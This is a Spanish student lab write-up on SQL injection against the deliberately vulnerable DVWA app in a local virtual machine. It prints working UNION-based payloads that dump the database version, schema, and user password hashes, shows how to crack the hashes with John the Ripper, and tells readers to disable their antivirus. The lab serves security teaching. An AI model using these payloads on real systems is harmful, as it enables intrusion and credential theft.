Unidad 2, Tarea 2

SQL INJECTION

Usa la técnica SQL INJECTION para obtener información relevante sobre la estructura de una base de datos.

La practica consistirá en atacar un sistema vulnerable a técnicas de SQL Injection, esta técnica nos permite hacer consultas en una base de datos del sistema de forma que podríamos obtener información de la misma como por ejemplo usuarios y contraseñas.

En realidad este tipo de ataques se pueden intentar en cualquier web en la que el usuario pueda introducir un texto (por ejemplo en un formulario) ya que el texto que introduzca el usuario es susceptible de contener código SQL y si el programador de la web no ha tenido en cuenta esto, ese código podría provocar un comportamiento inesperado de la web. Un programador debe considerar como potencialmente peligrosa cualquier información que su aplicación requiera del exterior.

El Sistema que vamos a atacar será un Sistema Virtual instalado en nuestro propio ordenador, para ello utilizaremos un software de virtualización como Virtual Box, este software nos permitirá instalar Sistemas Operativos “Virtuales” dentro de un Sistema operativo “Real”, es decir si nuestro ordenador tiene instalado un SO Windows7 (SO Real) podríamos instalar (dentro de el) con Virtual Box otro SO, por ejemplo Ubuntu como si estuviera en otra maquina.

Lo primero es descargarnos el software Virtual Box para nuestro Sistema Operativo “Real” e instalarlo: https://www.virtualbox.org/wiki/Downloads

Por otro lado nos descargamos la Maquina Virtual que nos propone el Curso y la instalamos: https://mondragon.box.com/dvwa7z

Una vez instalada arrancamos la maquina pulsando Iniciar.

SQL01

Anotamos la direccion IP que se ha asignado al sistema Virtual, en este caso 192.168.56.101.

Ahora accedemos a través de un navegador a la dirección http://192.168.56.101/login.php .

Lo que tenemos aquí es una aplicación web llamada Dawn Vulnerable Web App. Esta aplicación esta programada con PHP y MySQL y es vulnerable a un ataque de SQL Injection, lo cual quiere decir que podemos realizar consultas en su Base de Datos. Esta aplicación ha sido creada expresamente para que los estudiantes de Seguridad Informática podamos llevar a cabo nuestras practicas en un entorno legal.

Ahora vamos a hacer lo siguiente:

  1. Con el nivel de seguridad en “Low” vamos a introducir en el campo User ID un codigo SQL del tipo Siempre True. Esto consiste en que el código que inyectemos contenga una consulta SQL en el que una de las condiciones se cumpla siempre (Always True).
  2. Obtendremos el username y el password (encriptado en formato raw-MD5) de la tabla users.
  3. Utilizaremos el software John the Ripper para crackear el password de cada usuario.

Para conseguir esto seguiremos los pasos que se nos indican en los puntos 7, 8 y 9 de ESTE ARTICULO.

1. La aplicación nos pide que introduzcamos un User ID en la casilla y al enviar el formulario la aplicación nos devolverá el User ID, el First Name y el Surname del User ID que hayamos introducido. Esto es así porque el botón submit ejecuta la siguiente consulta SQL:

SELECT first_name, last_name FROM users WHERE user_id = ‘$id’
Donde $id es el valor que nosotros hemos introducido. De esta forma, si introducimos el valor 1 obtendremos esto:

SQL02

2. El siguiente paso es utilizar la técnica de “Always True”, para ello tenemos que hacer que el apartado WHERE de la consulta siempre se cumpla por ejemplo diciendo que el User ID sea cualquier cosa (nos da igual que esto nunca se cumpla) O (OR) que 0 sea igual a 0 (0=0), de esta forma como la segunda parte sera True (siempre es cierto que 0 es igual a 0) la consulta nos devolverá todos los registros de la tabla Users.

En la practica lo que introduciríamos en la casilla seria:  %’ or ‘0’=’0 y con ello la consulta SQL sería:

SELECT first_name, last_name FROM users WHERE user_id = ‘%’ or ‘0’=’0′

Esto nos devolverá:

SQL03

3. Introduciendo el siguiente código podemos obtener la versión de la base de datos MySQL:

%’ or 0=0 union select null, version() #

SQL04

4. Mediante el siguiente código obtenemos el usuario de la base de datos:

%’ or 0=0 union select null, user() #

SQL05

5. Mediante el siguiente código obtenemos el Nombre de la Base de Datos:

%’ or 0=0 union select null, database() #

SQL06

6. Con este código obtenemos todas las tablas de la Base de Datos:

%’ and 1=0 union select null, table_name from information_schema.tables #

No pego la imagen por que la lista de tablas es bastante larga, pero por el nombre ya intuimos que hay algunas que nos pueden interesar mas como la la tabla Users y Guestbook.

7. Como puede que la lista de tablas sea extremadamente grande podemos filtrar (ya que lo que nos interesa es conseguir  obtener los datos de los usuarios) por ejemplo buscando tablas cuyo nombre comience por Users:

%’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#

SQL07

8. Con este código obtenemos todos los campos que componen la tabla Users:

%’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ #

SQL08

9. Ahora vamos a obtener todos los datos de acceso de los registros de la tabla Users:

%’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

SQL09

Como vemos el password de cada usuario se encuentra encriptado, así que lo que nos toca hacer ahora es desencriptarlo.

10. Lo primero que vamos a hacer es crearnos un fichero sobre el que trabajaremos. Abrimos el Notepad y vamos escribiendo (corta&pega) en cada linea la combinación de usuario y contraseña separados por dos puntos (:) y guardamos el archivo .txt

SQL13

11. Ahora vamos a utilizar el software John the Ripper para intentar desencriptar los passwords. John the Ripper es un programa que aplica la Fuerza Bruta (ir probando todas las combinaciones posibles hasta dar con la buena) para descifra contraseñas. Ademas es capaz de detectar que sistema de cifrado se ha empleado (aunque si se lo indicamos nosotros trabajará mucho mas rápido).

AVISO: A partir de aquí os recomiendo que desactivéis el antivirus de vuestro PC ya que seguramente tratará la web de las descargas y el software como virus y no podréis hacer la práctica.

En primer lugar si no lo tenemos ya nos descargamos la versión de John the Ripper que corresponda a nuestro Sistema Operativo. AQUI. Yo lo haré con Windows7.

Descomprimimos el archivo en nuestro disco duro y veremos que dentro del directorio principal tenemos 2 carpetas, doc y run, pues bien, dentro de run se encuentra el ejecutable que vamos a utilizar y lo mas sencillo es que dentro de esta misma carpeta (run) peguéis el fichero .txt con los passwords que hemos creado en el apartado anterior (en mi caso le he puesto el original nombre de passwords.txt).

Abrimos una ventana de comandos y nos situamos en la carpeta run (en mi caso cd  C:\Users\Jon\Downloads\john179j5\run) ahora tenemos que ejecutar el john-omp.exe (sintaxis: john-omp.exe Opciones Fichero_Passwords) como opciones y siguiendo las instrucciones de la practica le pondremos –format=raw-MD5 (esto le indica que algoritmo de cifrado tiene el password) y como archivo el nombre de nuestro fichero de passwords (que como hemos dicho estará en la carpeta run también).

Una vez ejecutada obtendremos los passwords en un instante:

SQL12

Con esto doy por finalizada la practica.

Unidad 2, Tarea 2

Leave a comment